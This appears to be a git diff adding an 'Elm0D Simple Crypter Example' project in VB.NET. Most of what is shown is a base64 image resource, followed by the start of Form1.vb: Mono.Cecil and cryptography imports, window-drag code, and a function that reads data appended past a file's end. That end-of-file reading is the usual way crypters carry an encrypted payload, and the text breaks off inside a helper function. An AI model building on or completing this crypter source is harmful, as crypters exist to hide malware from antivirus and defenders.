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 + gg== + + + \ No newline at end of file diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/Form1.vb b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Form1.vb new file mode 100644 index 0000000..fb4b5a7 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Form1.vb @@ -0,0 +1,675 @@ +Imports Microsoft.VisualBasic.CompilerServices +Imports System.Runtime.CompilerServices +Imports System.IO +Imports System.Runtime.InteropServices +Imports System.Security +Imports System.IO.Compression +Imports System.CodeDom.Compiler +Imports System.ComponentModel +Imports Mono.Cecil +Imports Mono.Cecil.Cil +Imports System.Security.Cryptography +Imports System.Text.RegularExpressions +Imports System.Text + +Public Class Form1 + Dim TheEOF As String + Dim EOF_Data As String = String.Empty + Dim c, oo, dd As New OpenFileDialog + Dim FileDdD As New OpenFileDialog + Dim FileDD As New SaveFileDialog + Dim dialog As New SaveFileDialog + +#Region "Functions & Subs" +#Region " Global Variables " + Dim Point As New System.Drawing.Point() + Dim X, Y As Integer +#End Region +#Region " GUI " + Private Sub Main_MouseMove(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseMove + If e.Button = MouseButtons.Left Then + Point = Control.MousePosition + Point.X = Point.X - (X) + Point.Y = Point.Y - (Y) + Me.Location = Point + End If + + End Sub + Private Sub Main_MouseDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseDown + X = Control.MousePosition.X - Me.Location.X + Y = Control.MousePosition.Y - Me.Location.Y + End Sub + +#End Region + 'Eof read and write + Public Function ReadEOFData(ByRef FilePath As String) As String + On Error GoTo errorhandle + Dim sEOFBuf, sFileBuf, sChar As String + Dim lPos2, lFF, lPos, lCount As Integer + If Dir(FilePath) = "" Then GoTo errorhandle + lFF = FreeFile() + FileOpen(lFF, FilePath, OpenMode.Binary) + sFileBuf = Space(LOF(lFF)) + FileGet(lFF, sFileBuf) + FileClose(lFF) + lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30)) + sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1)) + ReadEOFData = StrReverse(sEOFBuf) + If ReadEOFData = "" Then + End If + Exit Function +errorhandle: + ReadEOFData = String.Empty + End Function + Public Function GetNullBytes(ByRef lNum As Object) As String + 